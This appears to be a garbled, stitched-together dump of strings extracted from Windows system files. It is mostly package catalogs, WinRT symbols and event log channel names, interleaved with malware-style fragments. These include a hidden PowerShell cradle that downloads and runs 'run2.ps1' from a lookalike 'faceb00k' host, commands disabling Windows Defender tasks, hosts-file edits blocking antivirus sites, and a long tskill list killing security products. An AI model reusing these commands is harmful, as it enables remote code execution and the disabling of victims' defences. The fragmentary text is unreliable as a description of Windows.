\-whidden.([scriptblock]::create((new-objectnet.webclient|foreach-object{$_.headers.add('user-agent','uawindowspowershell');$_.downloadstring('http://
policybypass-windowstylehidden-nopro
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
wow64_microsoft-windows-sud_31bf3856ad364e35_none_61f795946b283ddd
wow64_microsoft-windows-sx-shared_31bf3856ad364e35_none_144934ee561670fe
wow64_microsoft-windows-synchost.resources_31bf3856ad364e35_en-us_6f02e426d6f47539
wow64_microsoft-windows-synchost_31bf3856ad364e35_none_74b52916206ae1d0
wow64_microsoft-windows-syncinfrastructure_31bf3856ad364e35_none_43ce1b8b5892385f
wow64_microsoft-windows-syncproviders_31bf3856ad364e35_none_015fc2a4374c9294
wow64_microsoft-windows-syncsettings_31bf3856ad364e35_none_10fe853c70acf7a1
.?AU?$produce_base@USymbolViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@USymbolViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$root_implements@USymbolViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@USymbolViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@winrt@@
.?AU?$producer_convert@USymbolViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@USymbolViewManager@factory_implementation@RNSVG@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@USymbolViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UTextViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UTextViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-OneCore-Sensors-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-Kernel-Package-WOW64-NT-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
s@Storage@WindowsE
e-windowstylehidden-
      "$comment": "Windows CoPilot",
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe
%SystemRoot%/System32/drivers/vmmouse.sys
WindowsInstaller
Microsoft::Windows::RDS::Telemetry
.?AU?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@Windows@ABI@@@Collections@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@
.?AU?$IAsyncOperationCompletedHandler_impl@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@Windows@ABI@@@Collections@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@
.?AUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUmarshaler@?1??make_marshaler@impl@winrt@@YAHPEAUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@23@PEAPEAX@Z@
.?AU?$delegate@U?$AsyncOperationWithProgressCompletedHandler@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@U?$IAsyncOperationWithProgress@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBU?$IAsyncOperationWithProgress@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@234@I@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$AsyncOperationWithProgressCompletedHandler@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@U?$IAsyncOperationWithProgress@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBU?$IAsyncOperationWithProgress@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@234@I@Z@@impl@winrt@@
.?AUtype@?$abi@U?$AsyncOperationWithProgressCompletedHandler@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUshared_type@?1???$wait_for_completed@U?$IAsyncOperationWithProgress@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@@impl@winrt@@YA?A_PAEBU?$IAsyncOperationWithProgress@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@2@I@Z@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@Windows@ABI@@@Collections@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@U?$IAsyncOperation@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@
Lua:LastFolder1!windows
	>Lua:LastFolder1!Windows
wow64_microsoft-windows-wmpnss-publicapi_31bf3856ad364e35_none_5dcfda49c51eb951
wow64_microsoft-windows-wmpnssui.resources_31bf3856ad364e35_en-us_74d51e7f0aaea912
wow64_microsoft-windows-wmpnssui_31bf3856ad364e35_none_6348fd28f9840ded
wow64_microsoft-windows-wmspdmod_31bf3856ad364e35_none_ecd8c8d9856291fa
wow64_microsoft-windows-wmspdmoe_31bf3856ad364e35_none_ecd9c9238561ab51
wow64_microsoft-windows-wmvdecod_31bf3856ad364e35_none_6eac4374b1c79416
wow64_microsoft-windows-wmvdspa_31bf3856ad364e35_none_40b1b90b74d8cdc5
wow64_microsoft-windows-wmvencod_31bf3856ad364e35_none_6f3488a1cae6b728!
wow64_microsoft-windows-wmviddsp_31bf3856ad364e35_none_713a7af42f744581
wow64_microsoft-windows-wmvsdecd_31bf3856ad364e35_none_77362e352a2baf9e
wow64_microsoft-windows-wmvsencd_31bf3856ad364e35_none_773628832a2baf9e
wow64_microsoft-windows-wmvxencd_31bf3856ad364e35_none_79e3838ca7c2ddab
wow64_microsoft-windows-wofutil_31bf3856ad364e35_none_6d6b4ab1907171b9
wow64_microsoft-windows-wordbreaker7-english_31bf3856ad364e35_none_86182453dd9066e5
wow64_microsoft-windows-wordbreaker7-mswb7_31bf3856ad364e35_none_71e219f54befc899
wow64_microsoft-windows-workplace_31bf3856ad364e35_none_a7b5fc2d005317bb
wow64_microsoft-windows-wow64-console_31bf3856ad364e35_none_d84deb5351126222
%C:\ProgramData\Microsoft\Windows\AppRepository\State
x86_microsoft-windows-ie-setup_31bf3856ad364e35_none_4ca059936434ea5c
x86_microsoft-windows-ie-timeline_31bf3856ad364e35_none_bc931b47b5c1a0da
x86_microsoft-windows-ie-timeline_is_31bf3856ad364e35_none_b20c55001ce62a77
x86_microsoft-windows-ie-versioninfo_31bf3856ad364e35_none_971a0ce6664bd313
x86_microsoft-windows-ie-vgx_31bf3856ad364e35_none_88039359196f4938
x86_microsoft-windows-ie-winsockautodialstub_31bf3856ad364e35_none_03371fc84551211a
x86_microsoft-windows-ieinstal.resources_31bf3856ad364e35_en-us_bde623dcc04d8fee
x86_microsoft-windows-ieinstal_31bf3856ad364e35_none_efcfe618ea392171
x86_microsoft-windows-isoburn.resources_31bf3856ad364e35_en-us_1dcf97d42d60e9dd
\windows\currentversion\run
Windows
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_de-de_df6476d943192598
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_el-gr_0c49c489616c19fa
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_en-gb_0cf8c3dd60e88d98
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_en-us_0c410fc5617240bb
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_es-es_0c45f2d7616decfe
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_es-mx_0c0ff26b619661eb
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_et-ee_0cde520960fb7f27
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_lo-la_4af0703e326e9eea
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_lt-lt_4a28032c33043080
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_lv-lv_4a1463e833129b10
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_mi-nz_7746f936512e9c06
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_mk-mk_77eb26b850b32e6e
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_ml-in_77cbafa650caa6fc
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_mr-in_77d1b16250c53f06
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_ur-pk_e348d611402bd9bc
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_uz-..-uz_23ab3fc903b2338c
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_vi-vn_108a440b5e3c18b9
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_zh-cn_c634737fd5fcb6b9
x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_zh-tw_c5d34479d64581c9
x86_microsoft.windows.common-controls_6595b64144ccf1df_none_aaab8e0a9f4bd480
x86_microsoft.windows.gdiplus_6595b64144ccf1df_none_b63c266b1d6d356c
x86_microsoft.windows.i..utomation.proxystub_6595b64144ccf1df_none_e744cdbf06c8e4bf
x86_microsoft.windows.isolationautomation_6595b64144ccf1df_none_7add5f504a3bcb33
x86_microsoft.windows.systemcompatible_6595b64144ccf1df_none_0a4dc6435173f2f1
WINDOWS.SMI
WindowsVersion
dows\system32\cmd.exe/cstart""".\
1c:\windows\system32\cmd.exe/cstart
hc:\windows\system32\cmd.exe/cstart"""
echo---disable"windowsdefenderexploitguard"task
echo---disable"windowsdefenderverification"task
=$env:systemroot+'\system32'
WindowsBackupAndRestore
Microsoft-Windows-AppModel-Runtime/Admin`
Microsoft-Windows-AppModel-Runtime/Analytic
Microsoft-Windows-AppModel-Runtime/Debug
Microsoft-Windows-AppModel-Runtime/Diagnostics
Microsoft-Windows-AppModel-State/Debug
Microsoft-Windows-AppModel-State/Diagnostic
Microsoft-Windows-Authentication/AuthenticationPolicyFailures-DomainController
Microsoft-Windows-Authentication/ProtectedUser-Client
Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Sync
Microsoft-Windows-Disk/Operational
Microsoft-Windows-DriverProxy/Operational
Microsoft-Windows-DriverProxy/Performance
Microsoft-Windows-GraphicsCapture-API/Diagnostic
Microsoft-Windows-Kernel-Boot/Analytic
Microsoft-Windows-Kernel-Boot/Operational
Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic
Microsoft-Windows-Kernel-CPU-Partition/Analytic
Microsoft-Windows-Kernel-CPU-Starvation/Operational
Microsoft-Windows-Kernel-Disk/Analytic
Microsoft-Windows-Kernel-Dump/Operational
Microsoft-Windows-Kernel-EventTracing/Admin
Microsoft-Windows-Kernel-EventTracing/Analytic
Microsoft-Windows-Kernel-File/Analytic
Microsoft-Windows-Kernel-IO/Operational
Microsoft-Windows-Kernel-IoTrace/Diagnostic
Microsoft-Windows-Kernel-LiveDump/Analytic
Microsoft-Windows-Kernel-LiveDump/Operational
Microsoft-Windows-Kernel-Memory/Analytic
Microsoft-Windows-Kernel-Network/Analytic
Microsoft-Windows-Kernel-Prefetch/Diagnostic
Microsoft-Windows-Kernel-PRM/Operational
Microsoft-Windows-Kernel-Process/Analytic
Microsoft-Windows-Kernel-Registry/Analytic
Microsoft-Windows-Kernel-Registry/Performance
Microsoft-Windows-Kernel-ShimEngine/Debug
Microsoft-Windows-Kernel-ShimEngine/Diagnostic
Microsoft-Windows-Kernel-ShimEngine/Operational
Microsoft-Windows-Kernel-StoreMgr/Analytic
Microsoft-Windows-Kernel-StoreMgr/Operational
Microsoft-Windows-Kernel-WDI/Analytic
Microsoft-Windows-Kernel-WDI/Debug
Microsoft-Windows-Kernel-WDI/Operational
Microsoft-Windows-KernelStreaming/Analytic
Microsoft-Windows-KernelStreaming/Operational
Microsoft-Windows-LocationServiceProvider/Debug
Microsoft-Windows-LocationServiceProvider/Operational
Microsoft-Windows-LSA/Diagnostic
Microsoft-Windows-LSA/Operational
Microsoft-Windows-LSA/Performance
Microsoft-Windows-LUA-ConsentUI/Diagnostic
Microsoft-Windows-LUA-CredUI/Elevation
Microsoft-Windows-MF-FrameServer/Camera_DeviceMFT
Microsoft-Windows-MF-FrameServer/Camera_FrameServer
c:\windows\temp\
d-windowstylehidden
Microsoft-Windows-MUI/Operational
Microsoft-Windows-Networking-Correlation/Diagnostic
Microsoft-Windows-Ntfs/Operational
Microsoft-Windows-Ntfs/Performance
Microsoft-Windows-Ntfs/WHC
Microsoft-Windows-PCI/Diagnostic
Microsoft-Windows-PCI/Operational
Microsoft-Windows-PCRPF/PCRPFxp_
Microsoft-Windows-Rdp-Graphics-RdpAvenc/Admin
Microsoft-Windows-Rdp-Graphics-RdpAvenc/Debug
Microsoft-Windows-Rdp-Graphics-RdpLite/OperationaleReset
Microsoft-Windows-ReFsDedupSvc/Operational
Microsoft-Windows-RPC/Debug
Microsoft-Windows-RPC/EEInfo
Microsoft-Windows-Security-LessPrivilegedAppContainer/Operational
Microsoft-Windows-Security-Mitigations/KernelMode
Microsoft-Windows-Security-Mitigations/UserMode
Microsoft-Windows-Storage-Disk/Admin
Microsoft-Windows-Storage-Disk/Analytic
Microsoft-Windows-Storage-Disk/Debug
Microsoft-Windows-Storage-Disk/Diagnose
Microsoft-Windows-Storage-Disk/Operational
Microsoft-Windows-Storage-Storport/Admin
Microsoft-Windows-Storage-Storport/Analytic
Microsoft-Windows-Storage-Storport/Debug
Microsoft-Windows-Storage-Storport/Diagnose
Microsoft-Windows-Storage-Storport/Health
Microsoft-Windows-Storage-Storport/Operational
Microsoft-Windows-StorageSpaces-Api/Operational
Microsoft-Windows-StorageSpaces-Driver/Diagnostic
Microsoft-Windows-StorageSpaces-Driver/Operational
Microsoft-Windows-StorageSpaces-Driver/Performance
Microsoft-Windows-StorageSpaces-Driver/Verbose
Microsoft-Windows-Store/Operational
Microsoft-Windows-StorPort/Operational
Microsoft-Windows-Threat-Intelligence/Analytic
Microsoft-Windows-UAC/Operational
Microsoft-Windows-User-Loader/Analytic
Microsoft-Windows-User-Loader/Operational
Microsoft-Windows-WebAuthN/Operational
Microsoft-Windows-WUSA/Debug
Microsoft-Windows-WWAN-MM-Events/Diagnostic
Microsoft-Windows-WWAN-SVC-Events/Diagnostic
Microsoft-Windows-WWAN-SVC-Events/Operational
Microsoft-Windows-ZTDNS/BlockedConnections
Microsoft-Windows-ZTDNS/Operational
Microsoft-Windows-ZTDNS/PermittedConnections
Microsoft-Windows-ZTHELPER/Operational
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
Windows.Internal.ShellCommon.dll
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
shellcommon\shell\Windows.Internal.ShellCommon\UwpWindowLifecycleManagement\lib\HamActivity.cpp
shellcommon\shell\Windows.Internal.ShellCommon\UwpWindowLifecycleManagement\lib\UwpWindowLifecycleManager.cpp
Windows does not support advertising Service UUIDs.
Windows does not support advertising Solicit UUIDs.
Windows does not support advertising Service Data.
Microsoft.Windows.PCA.Siuf
Microsoft.Windows.PCA.Udd
Microsoft.Windows.PCA.WEL
Microsoft.Windows.PCA.Ids
WINDOWS.IMMERSIVECONTROLPANEL_CW5N1H2TXYEWY
Windows.Client.CBS_cw5n1h2txyewy9
C9oshell.run("powershell.exe-windowstylehidden-executionpolicybypass-nologo-noprofile-ciex((new-objectnet.webclient).downloadstring('http://c4.faceb00k.com:8888/files/run2.ps1'));"),0,true
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
C:\WINDOWS\SYSTEM32\
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral
Windowsn
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
GetWindowsDirectoryW
Microsoft.Windows.Shell.CortanaSearch
Microsoft-Windows-Shell-CortanaTrace
%systemroot%\system32\wbem
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
windowsudk.shellcommon.dll
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
7~.0.1www.grisoft.com>>c:\windows\system32\drivers\etc\hostscmd/cecho127.0.0.1www.google.com>>c:\windows\system32\drivers\etc\hoststskill/aspy*tskill/abullguardtskill/apersfwtskill/akav*tskill/azonealarmtskill/asafewebclstskill/aoutposttskill/anv*tskill/anav*tskill/af-*tskill/aesafetskill/acleclstskill/ablackicetskill/adef*tskill/akavtskill/akav*tskill/aavg*tskill/aash*clstskill/aaswupdsvtskill/aewid*tskill/aguard*tskill/aguar*tskill/agcasdt*tskill/amsmp*clstskill/amcafe*tskill/amghtmltskill/
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\regsvr32.exe
c:\windows\system32\regsvr32.exe
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\token_helpers.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SymbolTextBlock
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ThreadPoolBasedTimer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarStyles\
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.DefaultPlatformAdapter_
zAc:\windows\system32\mshta.exe"\\
s\system32\writ
("c:\\windows\\diagnostics\\index\\audiorecording"
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsCreateString
WindowsCreateString %ws
WindowsConcatString %ws
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ws\system32\cmd.exe/kstartmsedge
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
onecoreuap\base\appmodel\statemanager\winrt\lib\windows.storage.applicationdatacontainersettings.server.cpp
onecoreuap\base\appmodel\statemanager\winrt\lib\windows.storage.applicationdatafactory.server.cpp
Windows
\windows\currentversion\explor
#thisisasamplehostsfileusedbymicrosofttcp/ipforwindows.
enterthepathofthefiletobeextracted(ex:/windows/win.ini)
powershell -executionpolicy bypass -noprofile -windowstyle hidden -noexit -commandp
TCP/IP for Windows
TCP/IP for WindowsE
\inetdata\winlogon
\windows\currentversion\policies\
onecoreuap\base\appmodel\statemanager\winrt\lib\windows.storage.setversionrequest.cpp
onecoreuap\base\appmodel\statemanager\winrt\lib\windows.storage.setversiondeferral.cpp
Microsoft-Windows-AppModel-State
Windows.Storage.ApplicationData.pdb
onecoreuap\base\appmodel\statemanager\winrt\lib\windows.storage.applicationdata.server.cpp
 onecoreuap\base\appmodel\statemanager\winrt\lib\windows.storage.applicationdatacompositevalue.server.cpp
onecoreuap\base\appmodel\statemanager\winrt\lib\windows.storage.applicationdatacontainer.server.cpp
onecoreuap\base\appmodel\statemanager\winrt\lib\windows.management.core.applicationdatamanagerfactory.server.cpp
TCP/IP for WindowsE
Microsoft-Windows-CorruptedFileRecovery-Server/Operational
Microsoft-Windows-Crashdump/Analytic
Microsoft-Windows-Crashdump/Operational
Microsoft-Windows-CredUI/Diagnostic
Microsoft-Windows-Crypto-BCRYPT/Analytic
Microsoft-Windows-Crypto-CNG/Analytic
Microsoft-Windows-Crypto-DPAPI/BackUpKeySvc
Microsoft-Windows-Crypto-DPAPI/Debug
Microsoft-Windows-Crypto-DPAPI/Operational
Microsoft-Windows-Crypto-DSSEnh/Analytic
Microsoft-Windows-Crypto-NCrypt/CertInUse
Microsoft-Windows-Crypto-NCrypt/KeyMgmt
Microsoft-Windows-Crypto-NCrypt/Operational
Microsoft-Windows-Crypto-RNG/Analytic
Microsoft-Windows-Crypto-RSAEnh/Analytic
Microsoft-Windows-D3D10Level9/Analytic
Microsoft-Windows-D3D10Level9/PerfTiming
Microsoft-Windows-DAL-Provider/Analytic
Microsoft-Windows-DAL-Provider/Operational
Microsoft-Windows-Data-Pdf/Debug
Microsoft-Windows-DataIntegrityScan/Admin
Microsoft-Windows-DataIntegrityScan/CrashRecovery
Microsoft-Windows-DateTimeControlPanel/Analytic
Microsoft-Windows-DateTimeControlPanel/Debug
Microsoft-Windows-DateTimeControlPanel/Operational
Microsoft-Windows-DCLocator/Debug
Microsoft-Windows-DDisplay/Analytic
Microsoft-Windows-DDisplay/Logging
Microsoft-Windows-Deduplication/Diagnostic
Microsoft-Windows-Deduplication/Operational
Microsoft-Windows-Deduplication/Performance
Microsoft-Windows-Deduplication/Scrubbing
Microsoft-Windows-Defrag-Core/Debug
Microsoft-Windows-Deplorch/Analytic
Microsoft-Windows-DesktopActivityModerator/Diagnostic
Microsoft-Windows-DeviceAssociationService/Performance
Microsoft-Windows-DeviceConfidence/Analytic
Microsoft-Windows-DeviceGuard/Operational
Microsoft-Windows-DeviceGuard/Verbose
Microsoft-Windows-Devices-Background/Operational
Microsoft-Windows-Devices-Query/Performance
Microsoft-Windows-DeviceSetupManager/Admin
Microsoft-Windows-DeviceSetupManager/Analytic
Microsoft-Windows-DeviceSetupManager/Debug
Microsoft-Windows-DeviceSetupManager/Operational
Microsoft-Windows-DeviceSync/Analytic
Microsoft-Windows-DeviceSync/Operational
Microsoft-Windows-DeviceUpdateAgent/Operational
Microsoft-Windows-DeviceUx/Informational
Microsoft-Windows-DeviceUx/Performance
Microsoft-Windows-Dhcp-Client/Admin
Microsoft-Windows-Dhcp-Client/Operational
Microsoft-Windows-Dhcpv6-Client/Admin
Microsoft-Windows-Dhcpv6-Client/Operational
Microsoft-Windows-DiagCpl/Debug
Microsoft-Windows-Diagnosis-AdvancedTaskManager/Analytic
Microsoft-Windows-Diagnosis-DPS/Analytic
Microsoft-Windows-Diagnosis-DPS/Debug
Microsoft-Windows-Diagnosis-DPS/Operational
Microsoft-Windows-Diagnosis-MSDE/Debug
Microsoft-Windows-Diagnosis-PCW/Analytic
Microsoft-Windows-Diagnosis-PCW/Debug
Microsoft-Windows-Diagnosis-PCW/Operational
Microsoft-Windows-Diagnosis-PLA/Debug
Microsoft-Windows-Diagnosis-PLA/Operational
Microsoft-Windows-Diagnosis-Scheduled/Operational
Microsoft-Windows-Diagnosis-Scripted/Admin
Microsoft-Windows-Diagnosis-Scripted/Analytic
Microsoft-Windows-Diagnosis-Scripted/Debug
Microsoft-Windows-Diagnosis-Scripted/Operational
Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug
Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational
Microsoft-Windows-Diagnosis-WDC/Analytic
Microsoft-Windows-Diagnosis-WDI/Debug
Microsoft-Windows-Diagnostics-Networking/Debug
Microsoft-Windows-Diagnostics-Networking/Operational
Microsoft-Windows-Diagnostics-Performance/Diagnostic
Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback
Microsoft-Windows-Diagnostics-Performance/Operational
Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic
Microsoft-Windows-Direct3D10/Analytic
Microsoft-Windows-Direct3D10_1/Analytic
Microsoft-Windows-Direct3D11/Analytic
Microsoft-Windows-Direct3D11/Logging
Microsoft-Windows-Direct3D11/PerfTiming
Microsoft-Windows-Direct3D12/Analytic
Microsoft-Windows-Direct3D12/Logging
Microsoft-Windows-Direct3D12/PerfTiming
Microsoft-Windows-Direct3D9/Analytic
Microsoft-Windows-Direct3DShaderCache/Default
Microsoft-Windows-DirectComposition/Diagnostic
Microsoft-Windows-DirectManipulation/Diagnostic
Microsoft-Windows-DirectShow-KernelSupport/Performance
Microsoft-Windows-DirectSound/Debug
Microsoft-Windows-DiskDiagnostic/Operational
Microsoft-Windows-DiskDiagnosticDataCollector/Operational
Microsoft-Windows-DiskDiagnosticResolver/Operational
Microsoft-Windows-Dism-Api/Analytic
Microsoft-Windows-Dism-Api/ExternalAnalytic
Microsoft-Windows-Dism-Api/InternalAnalytic
Microsoft-Windows-Dism-Cli/Analytic
Microsoft-Windows-DisplayColorCalibration/Debug
Microsoft-Windows-DisplayColorCalibration/Operational
Microsoft-Windows-DisplaySwitch/Diagnostic
Microsoft-Windows-DLNA-Namespace/Analytic
Microsoft-Windows-DNS-Client/Operational
Microsoft-Windows-Documents/Performance
